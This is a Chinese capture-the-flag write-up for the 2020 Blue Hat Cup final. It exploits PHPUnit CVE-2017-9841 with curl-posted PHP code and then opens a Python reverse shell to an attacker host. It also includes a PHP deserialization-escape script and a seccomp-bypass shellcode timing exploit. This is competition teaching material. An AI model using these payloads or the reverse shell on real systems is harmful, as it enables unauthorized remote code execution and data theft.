2020蓝帽杯决赛|writeup

WEB

php

页面是 DVWA 的介绍页面,使用爬虫工具 SiteSucker 工具爬取网页源码,进行比对发现题目的网页 html 代码中多了一行注释

截屏2020-12-20 下午2.35.44

img

单元测试是指,对软件中的最小可测试单元在与程序其他部分相隔离的情况下进行检查和验证的工作,这里的最小可测试单元通常是指函数或者类

img

显然 CVE-2017-9841

1
2
3
4
5
造成漏洞的语句:
eval('?>'.file_get_contents('php://input'));

造成影响:
直接将PHP代码作为 POST Body 发送给 http://your-ip/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
1
2
poc:
curl -XPOST --data '<?php $str="SGVsbG8gV29ybGQgZnJvbSBDVkUtMjAxNy05ODQxCg==";echo(base64_decode($str));' http://eci-2zeajranq7wupzzs98v7.cloudeci1.ichunqiu.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

hunqiu.comvendorphpunitphpunitsrcUti1PHPeval-stdin.php

1
2
payload:
curl -XPOST --data '<?php include("你需要查看的文件");' http://url/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

查看连接配置文件

image-20201220153701638
1
2
并且看到了禁用函数:
eval,assert,fwrite,file_put_contents,phpinfo,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,lin,putenv,mail,chroot,chgrp,dl,readlink

但是 flag 是读取不到的,flag 在根目录下(没有权限)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
➜ ~ curl -XOPTIONS --data '<?php var_dump(scandir("/"));' http://eci-2zeeyasiq5y8o23s5zj0.cloudeci1.ichunqiu.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
array(22) {
[0]=>
string(1) "."
[1]=>
string(2) ".."
[2]=>
string(3) "bin"
[3]=>
string(4) "boot"
[4]=>
string(3) "dev"
[5]=>
string(3) "etc"
[6]=>
string(4) "flag"
[7]=>
string(4) "home"
[8]=>
string(3) "lib"
[9]=>
string(5) "lib64"
[10]=>
string(5) "media"
[11]=>
string(3) "mnt"
[12]=>
string(3) "opt"
[13]=>
string(4) "proc"
[14]=>
string(4) "root"
[15]=>
string(3) "run"
[16]=>
string(4) "sbin"
[17]=>
string(3) "srv"
[18]=>
string(3) "sys"
[19]=>
string(3) "tmp"
[20]=>
string(3) "usr"
[21]=>
string(3) "var"
}

于是反弹 shell 提权

1
<?php pcntl_exec("/usr/bin/python",array('-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("ip",port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));

然后遇到个情况,弹过来 vps 有反应,但是没有显示 shell。卡了半天,重启了一下电脑(解决了)

截屏2020-12-19 下午2.06.38

输入 su 的时候会报错,显示 su 必须在终端下运行。解决办法:

1
2
echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py
python /tmp/asdf.py

然后再 su admin(root 用户登陆不上)cat /flag 就可

截屏2020-12-19 下午2.25.44

login

www.zip 源码泄漏,将源码下载下来。只有两个文件:config.php 和 index.php

分析源码,反序列化逃逸

原理:如下 filter 函数,这个函数检测并替换了非法字符串,看似增加了代码的安全系数,实则让整段代码更加危险。filter 函数中检测序列化后的字符串,如果检测到了非法字符 'bb',就把它替换为 'ccc'
此时我们发现 ";s:4:"pass";s:6:"hacker";} 的长度为27,如果我们再加上27个 bb,那被 ccc 替换后最终的长度将增加27,不就能逃逸后面的 ";s:4:"pass";s:6:"hacker";} 了吗?如下:

截屏2020-12-20 上午11.48.27

漏洞标志:先序列化再替换字符串

function •filter($data){

将 25 个 admin 替换成 hacker 即可将序列化后面的字符串替换掉

1
2
3
4
5
6
7
8
9
import requests

len_a = len(';s:3:"dir";s:5:"/flag";}')
payload = 'admin' * (int(len_a) + 1)
burp0_url = """http://yourip/?user=ohhhh&pass=a3333&repass="%s";s:3:"dir";s:5:"/flag";}&dir=1"""%(payload)
res = requests.get(burp0_url)
print(burp0_url)
print(res.text)
exit()

截屏2020-12-20 下午12.07.40

写脚本的时候遇到的一个 python2 和 python3 的问题

不多说了,直接看代码吧

1
2
3
4
5
6
7
8
9
10
11
12
python2:
>>> type(4/2)
<type 'int'>
>>> a = 13/2
>>> a
6
python3:
>>> type(4/2)
<class 'float'>
>>> a = 13/2
>>> a
6.5

截屏2020-12-20 下午12.10.55

PWN

slient

64位的 ELF 文件

图片 1

通过 seccomp 禁用了一些系统函数

程序的执行很简单,接收0x40字节的输入并执行

用 seccomp-tools 工具,可以看到只允许 read 和 open 函数

图片 1

利用这0x40字节的空间写入并执行 shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
EXCV = context.binary = './chall'
e = ELF(EXCV)
if args.I:
context.log_level = 'debug'
def pwn(p, index, ch):
# open
shellcode = "push 0x10032aaa; pop rdi; shr edi, 12; xor esi, esi; push 2; pop rax; syscall;"
# re open, rax => 4
shellcode += "push 2; pop rax; syscall;"
# read(rax, 0x10040, 0x50)
shellcode += "mov rdi, rax; xor eax, eax; push 0x50; pop rdx; push 0x10040aaa; pop rsi; shr esi, 12; syscall;"
# cmp and jz
if index == 0:
shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-3; ret".format(index, ch)
else:
shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-4; ret".format(index, ch)
shellcode = asm(shellcode)
p.sendafter("Welcome to silent execution-box.\n", shellcode.ljust(0x40-14, b'a') + b'./flag')
index = 0
ans = []
while True:
for ch in range(0x20, 127):
p = remote('8.131.246.36', 40334)
pwn(p, index, ch)
start = time.time()
try:
p.recv(timeout=2)
except:
pass
end = time.time()
p.close()
if end-start > 1.5:
ans.append(ch)
print("".join([chr(i) for i in ans]))
break
else:
print("".join([chr(i) for i in ans]))
break
index = index + 1
print("".join([chr(i) for i in ans]))

图片 1

Link

https://www.ovh.com/blog/cve-2017-9841-what-is-it-and-how-do-we-protect-our-customers

天翼杯2020 safebox